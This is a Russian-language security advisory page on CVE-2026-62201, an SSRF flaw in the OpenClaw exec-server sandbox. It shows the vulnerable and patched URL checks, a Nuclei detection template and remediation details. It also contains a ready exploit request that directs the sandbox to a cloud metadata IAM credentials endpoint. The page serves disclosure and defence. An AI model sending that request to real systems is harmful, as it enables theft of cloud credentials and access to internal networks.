CVE-2026-62201-OpenClaw-SSRF — Глубокий анализ CVE-2026-62201: обход сетевой политики песочницы OpenClaw exec-server (SSRF). Первопричина, уязвимый и исправленный код, эксплуатация, обнаружение, устранение. | Kitploit

# Из [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (сокращено)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

http:
  - raw:
      - |
        POST /exec/http HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "bodyBase64"

Консультация	GHSA-mgvr-6gvw-3rgr
NVD	CVE-2026-62201
Продукт	OpenClaw (npm-пакет `openclaw`) — компонент песочницы `exec-server`
Затронутые версии	`openclaw` < `2026.6.6`
Исправлено в	`2026.6.6` и новее
Корневая причина	Отсутствие проверки SSRF во встроенном HTTP-помощнике exec-server (`SANDBOX_HTTP_REQUEST_SCRIPT`)
Коммит с исправлением	`21410d1c` — "fix(codex): guard sandbox http requests"
Вектор атаки	HTTP POST к обработчику `http/request` exec-server с управляемым атакующим URL
Воздействие	Вызывающий код с низкими привилегиями получает доступ к внутренним сетевым ресурсам (метаданные облака, частные IP-адреса, службы localhost), которые сетевая политика OpenClaw должна блокировать

CVE-2026-62201-OpenClaw-SSRF

Популярное

Резюме

Технический анализ

Компонент: Exec-Server песочницы

Уязвимый код ([email protected])

Исправление ([email protected])

Эксплуатация

Предварительные условия

Пошаговое руководство

Примеры цепочек атак

Воздействие и обоснование CVSS

Обнаружение

Nuclei

Сигналы в журналах и телеметрии

Устранение

Хронология раскрытия

Ссылки

Ответственное раскрытие